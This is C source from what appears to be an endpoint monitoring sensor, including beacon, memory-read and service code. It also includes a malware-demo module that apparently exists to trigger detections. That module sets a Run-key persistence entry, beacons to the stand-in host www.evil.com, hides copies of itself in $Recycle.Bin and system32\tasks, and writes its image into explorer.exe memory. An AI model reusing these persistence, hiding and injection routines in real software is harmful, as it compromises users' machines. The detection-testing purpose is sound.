static RVOID checkBootstrap ( ) { HKEY hKeyRoot = HKEY_LOCAL_MACHINE; RWCHAR regKey[] = _WCH( "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ); HKEY hKey = NULL; rpal_debug_info( "opening reg bootstrap key..." ); if( ERROR_SUCCESS == RegOpenKeyExW( hKeyRoot, regKey, 0, KEY_WRITE, &hKey ) ) { rpal_debug_info( "setting bootstrap key to current exe location..." ); if( ERROR_SUCCESS == RegSetValueExW( hKey, _WCH(""), 0, REG_SZ, (RPU8)g_self_path, ( rpal_string_strlen( g_self_path ) + 1 ) * sizeof( RWCHAR ) ) ) { rpal_debug_info( "successfully set bootstrap key!" ); } else { rpal_debug_error( "error setting bootstrap key to current location." ); } RegCloseKey( hKey ); } else { rpal_debug_error( "error opening reg bootstrap key." ); } }
static RVOID simulateBeacon ( ) { RNCHAR dnsDll[] = _NC( "dnsapi.dll" ); RCHAR dnsAPI[] = "DnsQuery_W"; RNCHAR dns[] = _NC( "www.evil.com" ); HMODULE hDns = NULL; DNS_STATUS (WINAPI *DnsQuery_f)( PCTSTR lpstrName, WORD wType, DWORD Options, PVOID pExtra, PDNS_RECORD *ppQueryResultsSet, PVOID *pReserved ); DNS_STATUS status = 0; PDNS_RECORDW unused = NULL; rpal_debug_info( "loading DnsApi..." ); if( NULL != ( hDns = LoadLibraryW( dnsDll ) ) && NULL != ( *(FARPROC*)&DnsQuery_f = GetProcAddress( hDns, dnsAPI ) ) ) { rpal_debug_info( "sending DNS beacon to %s...", dns ); if( ERROR_SUCCESS == ( status = DnsQuery_f( dns, DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &unused, NULL ) ) ) { rpal_debug_info( "successfully sent a DNS beacon." ); } else { rpal_debug_error( "error sending DNS beacon: %d.", status ); } } else { rpal_debug_error( "error loading DnsApi." ); } }
RU32 RPAL_EXPORT RPAL_THREAD_FUNC rpHcpI_entry ( rpHCPModuleContext* moduleContext ) { RU32 ret = (RU32)(-1); rThread hMain = 0; if( NULL != moduleContext ) { g_Module_Context = moduleContext; if( rpal_initialize( moduleContext->rpalContext, g_current_Module_id ) ) { ret = (RU32)(-2); if( 0 != ( hMain = rpal_thread_new( RpHcpI_mainThread, g_Module_Context->isTimeToStop ) ) ) { rpal_debug_info( "main module worker started" ); ret = 0; while( TRUE ) { if( rpal_thread_wait( hMain, ( 1 * 1000 ) ) ) { break; } } rpal_debug_info( "main module worker finished" ); rpal_thread_free( hMain ); } else { rpal_debug_error( "failed spawning module main worker" ); } rpal_Context_cleanup(); rpal_Context_deinitialize(); } else { rpal_debug_error( "failed IFace init" ); } } return ret; }
static RVOID dropDecoyTextFile ( ) { RWCHAR execVerb[] = _WCH( "open" ); RNCHAR decoyText[] = _NC( "To a trained eye, this file is clearly evil.\r\nUnfortunately most users won't see it.\r\nAt the end of the day it won't matter because once you see this, the game is over." ); RWCHAR decoyPath[ MAX_PATH ] = {0}; RU32 i = 0; // Generate new path for the decoy, same as current minus the .exe if( rpal_string_strcpy( decoyPath, g_self_path ) ) { if( 4 < ( i = rpal_string_strlen( decoyPath ) ) ) { decoyPath[ i - 4 ] = 0; if( rpal_file_write( decoyPath, decoyText, rpal_string_strlen( decoyText ), TRUE ) ) { rpal_debug_info( "successfully wrote decoy file: %ls", decoyPath ); rpal_debug_info( "launching text file reader app..." ); if( 32 < (INT)(SIZE_T)ShellExecuteW( NULL, execVerb, decoyPath, NULL, NULL, SW_SHOWNORMAL ) ) { rpal_debug_info( "decoy successfully launched." ); } else { rpal_debug_error( "error launching decoy app." ); } } else { rpal_debug_error( "error writing decoy file." ); } } else { rpal_debug_error( "expecting the current file path to be at least 4, very unexpected!" ); } } }
static RVOID relaunchInPermanentLocation ( ) { RPWCHAR bootstrapLocations[] = { _WCH( "%SYSTEMDRIVE%\\$Recycle.Bin\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%SYSTEMDRIVE%\\RECYCLER\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%windir%\\system32\\tasks\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%USERPROFILE%\\MALWARE_DEMO_WINDOWS_1.exe" ) }; RU32 i = 0; STARTUPINFOW startupInfo = {0}; PROCESS_INFORMATION procInfo = {0}; RPWCHAR expandedPath = NULL; for( i = 0; i < ARRAY_N_ELEM( bootstrapLocations ); i++ ) { rpal_debug_info( "trying to move to bootstrap location %d...", i ); rpal_file_delete( bootstrapLocations[ i ], FALSE ); if( rpal_file_move( g_self_path, bootstrapLocations[ i ] ) ) { rpal_debug_info( "successfully moved to bootstrap location!" ); rpal_debug_info( "launching in new location (%ls)...", bootstrapLocations[ i ] ); if( rpal_string_expand( bootstrapLocations[ i ], &expandedPath ) && 0 != CreateProcessW( expandedPath, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &procInfo ) ) { rpal_debug_info( "successfully launched from new location." ); } else { rpal_debug_error( "error launching from permanent location: %d.", GetLastError() ); } if( NULL != expandedPath ) { rpal_memory_free( expandedPath ); } break; } else { rpal_debug_warning( "could not move to new bootstrap location, may not have permission..." ); } } }
RPRIVATE RVOID mem_read ( rpcm_tag eventType, rSequence event ) { RU32 pid; RU64 baseAddr; RU32 memSize; RPVOID mem; RPU8 atom = NULL; RU32 atomSize = 0; UNREFERENCED_PARAMETER( eventType ); if( rpal_memory_isValid( event ) ) { if( ( rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) || ( rSequence_getBUFFER( event, RP_TAGS_HBS_THIS_ATOM, &atom, &atomSize ) && HBS_ATOM_ID_SIZE == atomSize && 0 != ( pid = atoms_getPid( atom ) ) ) ) && rSequence_getRU64( event, RP_TAGS_BASE_ADDRESS, &baseAddr ) && rSequence_getRU32( event, RP_TAGS_MEMORY_SIZE, &memSize ) ) { if( processLib_getProcessMemory( pid, (RPVOID)rpal_ULongToPtr( baseAddr ), memSize, &mem, TRUE ) ) { rSequence_addBUFFER( event, RP_TAGS_MEMORY_DUMP, (RPU8)mem, memSize ); rpal_memory_free( mem ); } else { rSequence_addRU32( event, RP_TAGS_ERROR, rpal_error_getLast() ); rpal_debug_error( "failed to get memory (base address = 0x%llx, size = 0x%x ) for pid 0x%x.", baseAddr, memSize, pid ); } } hbs_timestampEvent( event, 0 ); hbs_publish( RP_TAGS_NOTIFICATION_MEM_READ_REP, event ); } }
RPRIVATE_TESTABLE RBOOL saveHcpId ( RPNCHAR storePath, rpHCPIdentStore* ident, RPU8 token, RU32 tokenSize ) { RBOOL isSet = FALSE; rFile hStore = NULL; if( NULL != storePath && NULL != ident && NULL != token && 0 != tokenSize ) { ident->enrollmentTokenSize = tokenSize; if( rFile_open( storePath, &hStore, RPAL_FILE_OPEN_ALWAYS | RPAL_FILE_OPEN_WRITE ) ) { if( rFile_write( hStore, sizeof( *ident ), ident ) && rFile_write( hStore, tokenSize, token ) ) { #if defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) chmod( storePath, S_IRUSR | S_IWUSR ); #endif isSet = TRUE; } rFile_close( hStore ); } else { rpal_debug_warning( "could not write enrollment token to disk" ); } } else { rpal_debug_error( "invalid ident info" ); } return isSet; }
static ProcExtInfo* getProcContext ( RPU8 atomId ) { ProcExtInfo* procInfo = NULL; RU32 index = 0; if( (RU32)-1 != ( index = rpal_binsearch_array( g_procContexts->elements, g_procContexts->nElements, sizeof( ProcExtInfo* ), &atomId, (rpal_ordering_func)_cmpContext ) ) ) { procInfo = g_procContexts->elements[ index ]; } else { if( NULL != ( procInfo = rpal_memory_alloc( sizeof( *procInfo ) ) ) ) { rpal_memory_memcpy( procInfo->atomId, atomId, sizeof( procInfo->atomId ) ); if( !rpal_vector_add( g_procContexts, procInfo ) ) { rpal_memory_free( procInfo ); rpal_debug_error( "error adding new process to history" ); procInfo = NULL; } else { rpal_sort_array( g_procContexts->elements, g_procContexts->nElements, sizeof( ProcExtInfo* ), (rpal_ordering_func)_cmpContext ); } } } return procInfo; }
static RVOID processNewProcesses ( rpcm_tag notifType, rSequence event ) { ProcExtInfo* ctx = NULL; RPNCHAR path = NULL; RPU8 atomId = NULL; UNREFERENCED_PARAMETER( notifType ); if( rSequence_getSTRINGN( event, RP_TAGS_FILE_PATH, &path ) && HbsGetThisAtom( event, &atomId ) ) { path = rpal_string_strdup( path ); if( NULL != path && rMutex_lock( g_mutex ) ) { if( NULL != ctx || NULL != ( ctx = getProcContext( atomId ) ) ) { rpal_memory_free( ctx->processPath ); ctx->processPath = path; path = NULL; } else { rpal_debug_error( "error getting process context" ); } rMutex_unlock( g_mutex ); } rpal_memory_free( path ); } }
RPRIVATE RVOID mem_find_handle ( rpcm_tag eventType, rSequence event ) { RPNCHAR needle = NULL; rList handleList; UNREFERENCED_PARAMETER( eventType ); if( rpal_memory_isValid( event ) ) { if( rSequence_getSTRINGN( event, RP_TAGS_HANDLE_NAME, &needle ) ) { rSequence_unTaintRead( event ); if( NULL != ( handleList = processLib_getHandles( 0, TRUE, needle ) ) ) { if( !rSequence_addLIST( event, RP_TAGS_HANDLES, handleList ) ) { rList_free( handleList ); } } else { rSequence_addRU32( event, RP_TAGS_ERROR, rpal_error_getLast() ); rpal_debug_error( "failed to get handles for pid 0x%x.", 0 ); } } hbs_timestampEvent( event, 0 ); hbs_publish( RP_TAGS_NOTIFICATION_MEM_FIND_HANDLE_REP, event ); } }
//============================================================================= // Entry Point //============================================================================= RU32 RPAL_THREAD_FUNC RpHcpI_mainThread ( rEvent isTimeToStop ) { RU32 ret = 0; RU64 nextBeaconTime = 0; rList cloudMessages = NULL; rSequence msg = NULL; rList newConfigurations = NULL; rList newNotifications = NULL; RPU8 newConfigurationHash = NULL; RU32 newHashSize = 0; rSequence staticConfig = NULL; RU8* tmpBuffer = NULL; RU32 tmpSize = 0; FORCE_LINK_THAT( HCP_IFACE ); CryptoLib_init(); getPrivileges(); // This is the event for the collectors, it is different than the // hbs proper event so that we can restart the collectors without // signaling hbs as a whole. if( NULL == ( g_hbs_state.isTimeToStop = rEvent_create( TRUE ) ) ) { return (RU32)-1; } // By default, no collectors are running rEvent_set( g_hbs_state.isTimeToStop ); // We attempt to load some initial config from the serialized // rSequence that can be patched in this binary. if( NULL != ( staticConfig = getStaticConfig() ) ) { if( rSequence_getBUFFER( staticConfig, RP_TAGS_HBS_ROOT_PUBLIC_KEY, &tmpBuffer, &tmpSize ) ) { hbs_cloud_pub_key = rpal_memory_duplicate( tmpBuffer, tmpSize ); if( NULL == hbs_cloud_pub_key ) { hbs_cloud_pub_key = hbs_cloud_default_pub_key; } rpal_debug_info( "loading hbs root public key from static config" ); } if( rSequence_getRU32( staticConfig, RP_TAGS_MAX_QUEUE_SIZE, &g_hbs_state.maxQueueNum ) ) { rpal_debug_info( "loading max queue size from static config" ); } else { g_hbs_state.maxQueueNum = HBS_EXFIL_QUEUE_MAX_NUM; } if( rSequence_getRU32( staticConfig, RP_TAGS_MAX_SIZE, &g_hbs_state.maxQueueSize ) ) { rpal_debug_info( "loading max queue num from static config" ); } else { g_hbs_state.maxQueueSize = HBS_EXFIL_QUEUE_MAX_SIZE; } rSequence_free( staticConfig ); } else { hbs_cloud_pub_key = hbs_cloud_default_pub_key; g_hbs_state.maxQueueNum = HBS_EXFIL_QUEUE_MAX_NUM; g_hbs_state.maxQueueSize = HBS_EXFIL_QUEUE_MAX_SIZE; } if( !rQueue_create( &g_hbs_state.outQueue, freeExfilEvent, g_hbs_state.maxQueueNum ) ) { rEvent_free( g_hbs_state.isTimeToStop ); return (RU32)-1; } // We simply enqueue a message to let the cloud know we're starting sendStartupEvent(); while( !rEvent_wait( isTimeToStop, (RU32)nextBeaconTime ) ) { nextBeaconTime = MSEC_FROM_SEC( HBS_DEFAULT_BEACON_TIMEOUT + ( rpal_rand() % HBS_DEFAULT_BEACON_TIMEOUT_FUZZ ) ); if( NULL != ( cloudMessages = beaconHome() ) ) { while( rList_getSEQUENCE( cloudMessages, RP_TAGS_MESSAGE, &msg ) ) { // Cloud message indicating next requested beacon time, as a Seconds delta if( rSequence_getTIMEDELTA( msg, RP_TAGS_TIMEDELTA, &nextBeaconTime ) ) { nextBeaconTime = MSEC_FROM_SEC( nextBeaconTime ); rpal_debug_info( "received set_next_beacon" ); } if( NULL == newConfigurations && rSequence_getLIST( msg, RP_TAGS_HBS_CONFIGURATIONS, &newConfigurations ) ) { rpal_debug_info( "received a new profile" ); if( rSequence_getBUFFER( msg, RP_TAGS_HASH, &newConfigurationHash, &newHashSize ) && newHashSize == CRYPTOLIB_HASH_SIZE ) { newConfigurations = rList_duplicate( newConfigurations ); rpal_memory_memcpy( &( g_hbs_state.currentConfigHash ), newConfigurationHash, CRYPTOLIB_HASH_SIZE ); g_hbs_state.isProfilePresent = TRUE; } else { newConfigurations = NULL; rpal_debug_error( "profile hash received is invalid" ); } } if( NULL == newNotifications && rSequence_getLIST( msg, RP_TAGS_HBS_CLOUD_NOTIFICATIONS, &newNotifications ) ) { rpal_debug_info( "received cloud events" ); newNotifications = rList_duplicate( newNotifications ); } } rList_free( cloudMessages ); } // If this is the initial boot and we have no profile yet, we'll load a dummy // blank profile and use our defaults. if( NULL == newConfigurations && !g_hbs_state.isProfilePresent && !rEvent_wait( isTimeToStop, 0 ) ) { newConfigurations = rList_new( RP_TAGS_HCP_MODULES, RPCM_SEQUENCE ); rpal_debug_info( "setting empty profile" ); } if( NULL != newConfigurations ) { // We try to be as responsive as possible when asked to quit // so if we happen to have received the signal during a beacon // we will action the quit instead of the config change. if( !rEvent_wait( isTimeToStop, 0 ) ) { rpal_debug_info( "begining sensor update on new profile" ); shutdownCollectors(); updateCollectorConfigs( newConfigurations ); rList_free( newConfigurations ); newConfigurations = NULL; startCollectors(); } else { rList_free( newConfigurations ); } newConfigurations = NULL; } if( NULL != newNotifications ) { if( !rEvent_wait( isTimeToStop, 0 ) ) { publishCloudNotifications( newNotifications ); } rList_free( newNotifications ); newNotifications = NULL; } } // We issue one last beacon indicating we are stopping sendShutdownEvent(); // Shutdown everything shutdownCollectors(); // Cleanup the last few resources rEvent_free( g_hbs_state.isTimeToStop ); rQueue_free( g_hbs_state.outQueue ); CryptoLib_deinit(); if( hbs_cloud_default_pub_key != hbs_cloud_pub_key && NULL != hbs_cloud_pub_key ) { rpal_memory_free( hbs_cloud_pub_key ); hbs_cloud_pub_key = NULL; } return ret; }
static RVOID publishCloudNotifications ( rList notifications ) { rSequence notif = NULL; RPU8 buff = NULL; RU32 buffSize = 0; RPU8 sig = NULL; RU32 sigSize = 0; rpHCPId curId = { 0 }; rSequence cloudEvent = NULL; rSequence targetId = { 0 }; RU32 eventId = 0; rSequence localEvent = NULL; RU64 expiry = 0; rpHCPId tmpId = { 0 }; rSequence receipt = NULL; while( rList_getSEQUENCE( notifications, RP_TAGS_HBS_CLOUD_NOTIFICATION, ¬if ) ) { cloudEvent = NULL; if( rSequence_getBUFFER( notif, RP_TAGS_BINARY, &buff, &buffSize ) && rSequence_getBUFFER( notif, RP_TAGS_SIGNATURE, &sig, &sigSize ) ) { if( CryptoLib_verify( buff, buffSize, hbs_cloud_pub_key, sig ) ) { if( !rpHcpI_getId( &curId ) ) { rpal_debug_error( "error getting current id for cloud notifications." ); } else { if( !rSequence_deserialise( &cloudEvent, buff, buffSize, NULL ) ) { cloudEvent = NULL; rpal_debug_warning( "error deserializing cloud event." ); } } } else { rpal_debug_warning( "cloud event signature invalid." ); } } if( rpal_memory_isValid( cloudEvent ) ) { if( rSequence_getSEQUENCE( cloudEvent, RP_TAGS_HCP_ID, &targetId ) && rSequence_getRU32( cloudEvent, RP_TAGS_HBS_NOTIFICATION_ID, &eventId ) && rSequence_getSEQUENCE( cloudEvent, RP_TAGS_HBS_NOTIFICATION, &localEvent ) ) { rSequence_getTIMESTAMP( cloudEvent, RP_TAGS_EXPIRY, &expiry ); tmpId = rpHcpI_seqToHcpId( targetId ); curId.id.configId = 0; tmpId.id.configId = 0; if( NULL != ( receipt = rSequence_new() ) ) { if( rSequence_addSEQUENCE( receipt, RP_TAGS_HBS_CLOUD_NOTIFICATION, rSequence_duplicate( cloudEvent ) ) ) { if( !rQueue_add( g_hbs_state.outQueue, receipt, 0 ) ) { rSequence_free( receipt ); receipt = NULL; } } else { rSequence_free( receipt ); receipt = NULL; } } if( curId.raw == tmpId.raw && rpal_time_getGlobal() <= expiry ) { if( !notifications_publish( eventId, localEvent ) ) { rpal_debug_error( "error publishing event from cloud." ); } } else { rpal_debug_warning( "event expired or for wrong id." ); } } if( rpal_memory_isValid( cloudEvent ) ) { rSequence_free( cloudEvent ); cloudEvent = NULL; } } } }
static RBOOL postHttp ( RPCHAR location, RPCHAR params, RBOOL isEnforceCert, RPVOID* receivedData, RU32* receivedSize ) { RBOOL isSuccess = FALSE; CURL* curlCtx = NULL; RU32 timeout = ( 1000 * 10 ); RCHAR userAgent[] = "rpHCP"; rBlob dataReceived = NULL; RBOOL isDataReturned = FALSE; CURLcode curlError = CURLE_OK; if( NULL != location ) { if( NULL != ( dataReceived = rpal_blob_create( 0, 0 ) ) ) { if( NULL != ( curlCtx = curl_easy_init() ) ) { rpal_debug_info( "posting to %s", location ); if( CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_URL, location ) ) && CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_USERAGENT, userAgent ) ) && CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_POSTFIELDS, params ) ) && CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_WRITEFUNCTION, (RPVOID)_curlToBuffer ) ) && CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_WRITEDATA, (RPVOID)dataReceived ) ) && CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_NOSIGNAL, 1 ) ) ) { if( CURLE_OK == ( curlError = curl_easy_perform( curlCtx ) ) ) { isSuccess = TRUE; if( NULL != receivedData ) { *receivedData = rpal_blob_getBuffer( dataReceived ); isDataReturned = TRUE; } if( NULL != receivedSize ) { *receivedSize = rpal_blob_getSize( dataReceived ); } } else { rpal_debug_warning( "error performing post: %d", curlError ); } } else { rpal_debug_error( "error setting curl options: %d", curlError ); } curl_easy_cleanup( curlCtx ); } else { rpal_debug_error( "error creating curl context" ); } if( !isDataReturned ) { rpal_blob_free( dataReceived ); } else { rpal_blob_freeWrapperOnly( dataReceived ); } } } return isSuccess; }
static rList assembleRequest ( RPU8 optCrashCtx, RU32 optCrashCtxSize ) { rSequence req = NULL; RU32 moduleIndex = 0; rList msgList = NULL; rList modList = NULL; rSequence modEntry = NULL; if( NULL != ( req = rSequence_new() ) ) { // Add some basic info rSequence_addRU32( req, RP_TAGS_MEMORY_USAGE, rpal_memory_totalUsed() ); rSequence_addTIMESTAMP( req, RP_TAGS_TIMESTAMP, rpal_time_getGlobal() ); // If we have a crash context to report if( NULL != optCrashCtx ) { if( !rSequence_addBUFFER( req, RP_TAGS_HCP_CRASH_CONTEXT, optCrashCtx, optCrashCtxSize ) ) { rpal_debug_error( "error adding crash context of size %d to hcp beacon", optCrashCtxSize ); } else { rpal_debug_info( "crash context is being bundled in hcp beacon" ); } } // List of loaded modules if( NULL != ( modList = rList_new( RP_TAGS_HCP_MODULE, RPCM_SEQUENCE ) ) ) { for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ ) { if( NULL != g_hcpContext.modules[ moduleIndex ].hModule ) { if( NULL != ( modEntry = rSequence_new() ) ) { if( !rSequence_addBUFFER( modEntry, RP_TAGS_HASH, g_hcpContext.modules[ moduleIndex ].hash, sizeof( g_hcpContext.modules[ moduleIndex ].hash ) ) || !rSequence_addRU8( modEntry, RP_TAGS_HCP_MODULE_ID, g_hcpContext.modules[ moduleIndex ].id ) || !rList_addSEQUENCE( modList, modEntry ) ) { break; } // We take the opportunity to cleanup the list of modules... if( rpal_thread_wait( g_hcpContext.modules[ moduleIndex ].hThread, 0 ) ) { // This thread has exited, which is our signal that the module // has stopped executing... rEvent_free( g_hcpContext.modules[ moduleIndex ].isTimeToStop ); rpal_thread_free( g_hcpContext.modules[ moduleIndex ].hThread ); rpal_memory_zero( &(g_hcpContext.modules[ moduleIndex ]), sizeof( g_hcpContext.modules[ moduleIndex ] ) ); if( !rSequence_addRU8( modEntry, RP_TAGS_HCP_MODULE_TERMINATED, 1 ) ) { break; } } } } } if( !rSequence_addLIST( req, RP_TAGS_HCP_MODULES, modList ) ) { rList_free( modList ); } } if( NULL != ( msgList = rList_new( RP_TAGS_MESSAGE, RPCM_SEQUENCE ) ) ) { if( !rList_addSEQUENCE( msgList, req ) ) { rList_free( msgList ); rSequence_free( req ); msgList = NULL; } } else { rSequence_free( req ); } } return msgList; }
RBOOL doBeacon ( RpHcp_ModuleId sourceModuleId, rList toSend, rList* pReceived ) { RBOOL isSuccess = FALSE; RPU8 receivedData = NULL; RU32 receivedSize = 0; RPU8 encodedData = NULL; RPU8 rawPayloadBuff = NULL; RU32 rawPayloadSize = 0; RU32 zError = 0; RPU8 signature = NULL; RPU8 payloadBuff = NULL; RU32 payloadSize = 0; RU8 sessionKey[ CRYPTOLIB_SYM_KEY_SIZE ] = {0}; RU8 sessionIv[ CRYPTOLIB_SYM_IV_SIZE ] = {0}; rString payloadToSend = NULL; RU32 decryptedSize = 0; RPU8 tmpBuff = NULL; RU64 tmpSize = 0; OBFUSCATIONLIB_DECLARE( url1, RP_HCP_CONFIG_HOME_URL_PRIMARY ); OBFUSCATIONLIB_DECLARE( url2, RP_HCP_CONFIG_HOME_URL_SECONDARY ); RPCHAR effectivePrimary = (RPCHAR)url1; RPCHAR effectiveSecondary = (RPCHAR)url2; rpal_debug_info( "called by module %d.", sourceModuleId ); // Pre-generate the session key and iv we want for the session CryptoLib_genRandomBytes( sessionKey, sizeof( sessionKey ) ); CryptoLib_genRandomBytes( sessionIv, sizeof( sessionIv ) ); // Assemble the stream to send payloadToSend = assembleOutboundStream( sourceModuleId, toSend, sessionKey, sessionIv ); if( NULL != payloadToSend ) { // Send the beacon if( NULL == g_hcpContext.primaryUrl ) { OBFUSCATIONLIB_TOGGLE( url1 ); OBFUSCATIONLIB_TOGGLE( url2 ); } else { effectivePrimary = g_hcpContext.primaryUrl; effectiveSecondary = g_hcpContext.secondaryUrl; } if( postHttp( effectivePrimary, rpal_stringbuffer_getString( payloadToSend ), FALSE, (RPVOID*)&receivedData, &receivedSize ) ) { isSuccess = TRUE; } else if( postHttp( effectiveSecondary, rpal_stringbuffer_getString( payloadToSend ), FALSE, (RPVOID*)&receivedData, &receivedSize ) ) { isSuccess = TRUE; rpal_debug_info( "beacon using secondary home." ); } else { rpal_debug_warning( "could not contact server." ); } if( NULL == g_hcpContext.primaryUrl ) { OBFUSCATIONLIB_TOGGLE( url1 ); OBFUSCATIONLIB_TOGGLE( url2 ); } if( isSuccess ) { isSuccess = FALSE; if( NULL != receivedData && 0 != receivedSize ) { if( NULL != pReceived ) { *pReceived = NULL; // Process the data received encodedData = findAndCapEncodedDataInBeacon( receivedData, receivedSize ); if( NULL != encodedData ) { if( stripBeaconEncoding( (RPCHAR)encodedData, &rawPayloadBuff, &rawPayloadSize ) ) { if( rawPayloadSize >= CRYPTOLIB_SIGNATURE_SIZE ) { // Verify signature signature = rawPayloadBuff; payloadBuff = signature + CRYPTOLIB_SIGNATURE_SIZE; payloadSize = rawPayloadSize - CRYPTOLIB_SIGNATURE_SIZE; if( verifyC2Signature( payloadBuff, payloadSize, signature ) ) { // Remove the symetric crypto using the session key if( CryptoLib_symDecrypt( payloadBuff, payloadSize, sessionKey, sessionIv, &decryptedSize ) ) { // Remove the compression tmpSize = rpal_ntoh32( *(RU32*)payloadBuff ); if( 0 != tmpSize && (-1) != tmpSize ) { tmpBuff = rpal_memory_alloc( (RSIZET)tmpSize ); if( rpal_memory_isValid( tmpBuff ) ) { if( Z_OK == ( zError = uncompress( tmpBuff, (uLongf*)&tmpSize, payloadBuff + sizeof( RU32 ), payloadSize - sizeof( RU32 ) ) ) ) { // Payload is valid, turn it into a sequence to return if( rList_deserialise( pReceived, tmpBuff, (RU32)tmpSize, NULL ) ) { rpal_debug_info( "success." ); isSuccess = TRUE; } else { rpal_debug_error( "could not deserialise list." ); } } else { rpal_debug_error( "could not decompress received data: %d (%d bytes).", zError, payloadSize ); } rpal_memory_free( tmpBuff ); } else { rpal_debug_error( "could not allocate memory for data received, asking for: %d.", tmpSize ); } } else { rpal_debug_error( "invalid size field in decrypted data." ); } } else { rpal_debug_error( "failed to decrypt received data." ); } } else { rpal_debug_error( "signature verification failed." ); } } else { rpal_debug_error( "stripped payload failed sanity check." ); } rpal_memory_free( rawPayloadBuff ); } else { rpal_debug_error( "could not strip BASE64 encoding." ); } } else { rpal_debug_error( "could not find the encoded data." ); } } else { rpal_debug_info( "not interested in the returned data." ); isSuccess = TRUE; } FREE_AND_NULL( receivedData ); receivedSize = 0; } else { rpal_debug_warning( "no data received from the server." ); isSuccess = FALSE; } } rpal_stringbuffer_free( payloadToSend ); } else { rpal_debug_error( "failed to generate payload for beacon." ); } return isSuccess; }
static RU32 uninstallService ( ) { RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; SERVICE_STATUS svcStatus = { 0 }; RU32 nRetries = 10; rpal_debug_info( "uninstalling service" ); if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS ) ) ) { if( NULL != ( hSvc = OpenServiceW( hScm, svcName, SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE ) ) ) { if( ControlService( hSvc, SERVICE_CONTROL_STOP, &svcStatus ) ) { while( SERVICE_STOPPED != svcStatus.dwCurrentState && 0 != nRetries ) { rpal_debug_error( "waiting for service to stop..." ); rpal_thread_sleep( 1000 ); if( !QueryServiceStatus( hSvc, &svcStatus ) ) { break; } nRetries--; } if( 0 == nRetries ) { rpal_debug_error( "timed out waiting for service to stop, moving on..." ); } else { rpal_debug_info( "service stopped" ); } } else { rpal_debug_error( "could not stop service: %d", GetLastError() ); } if( DeleteService( hSvc ) ) { rpal_debug_info( "service deleted" ); } else { rpal_debug_error( "could not delete service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not open service: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } rpal_thread_sleep( MSEC_FROM_SEC( 1 ) ); if( rpal_file_delete( destPath, FALSE ) ) { rpal_debug_info( "service executable deleted" ); } else { rpal_debug_error( "could not delete service executable: %d", GetLastError() ); } return GetLastError(); }
static RVOID injectIntoProcess ( ) { RNCHAR strSeDebug[] = _NC( "SeDebugPrivilege" ); processLibProcEntry* procIds = NULL; processLibProcEntry* tmpProcId = NULL; rSequence targetProc = NULL; RU32 targetPid = 0; RPWCHAR procName = NULL; RWCHAR targetProcName[] = _WCH( "EXPLORER.EXE" ); HANDLE hProc = NULL; RU32 selfSize = 0; RPVOID remoteDest = NULL; SIZE_T payloadSize = 0; RPU8 payloadBuff = NULL; rpal_debug_info( "getting debug privilege to inject..." ); if( !Get_Privilege( strSeDebug ) ) { rpal_debug_error( "could not get debug privilege, are we running as admin?" ); return; } rpal_debug_info( "getting process list to find explorer.exe" ); procIds = processLib_getProcessEntries( FALSE ); tmpProcId = procIds; while( NULL != tmpProcId ) { if( NULL != ( targetProc = processLib_getProcessInfo( tmpProcId->pid, NULL ) ) ) { if( rSequence_getSTRINGN( targetProc, RP_TAGS_FILE_PATH, &procName ) ) { rpal_string_toupper( procName ); if( NULL != rpal_string_strstr( procName, targetProcName ) ) { rpal_debug_info( "found the target process: %d", tmpProcId->pid ); targetPid = tmpProcId->pid; } else { rpal_debug_info( "not target process, next..." ); } } else { rpal_debug_warning( "process without file path, odd..." ); } rSequence_free( targetProc ); targetProc = NULL; if( 0 != targetPid ) { break; } } tmpProcId++; } rpal_memory_free( procIds ); if( 0 != targetPid ) { rpal_debug_info( "getting size of self..." ); if( (RU32)(-1) != ( selfSize = rpal_file_getSize( g_self_path, FALSE ) ) ) { rpal_debug_info( "opening target process with right privileges..." ); if( NULL != ( hProc = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid ) ) ) { rpal_debug_info( "allocating required memory in remote process..." ); if( NULL != ( remoteDest = VirtualAllocEx( hProc, NULL, selfSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) { rpal_debug_info( "reading payload to memory before writing it to remote." ); if( rpal_file_read( g_self_path, (RPVOID*)&payloadBuff, (RU32*)&payloadSize, FALSE ) ) { rpal_debug_info( "writing payload to remote process." ); if( WriteProcessMemory( hProc, remoteDest, payloadBuff, payloadSize, &payloadSize ) && payloadSize == selfSize ) { rpal_debug_info( "successfully written payload to remote process. This should look like an injected PE although no thread was started." ); } else { rpal_debug_error( "error writing payload to remote process." ); } rpal_memory_free( payloadBuff ); } else { rpal_debug_error( "error reading ourselves as payload." ); } } else { rpal_debug_error( "error allocating memory in remote process." ); } CloseHandle( hProc ); } else { rpal_debug_error( "error opening process with VM privilges." ); } } else { rpal_debug_error( "error getting size of self." ); } } }
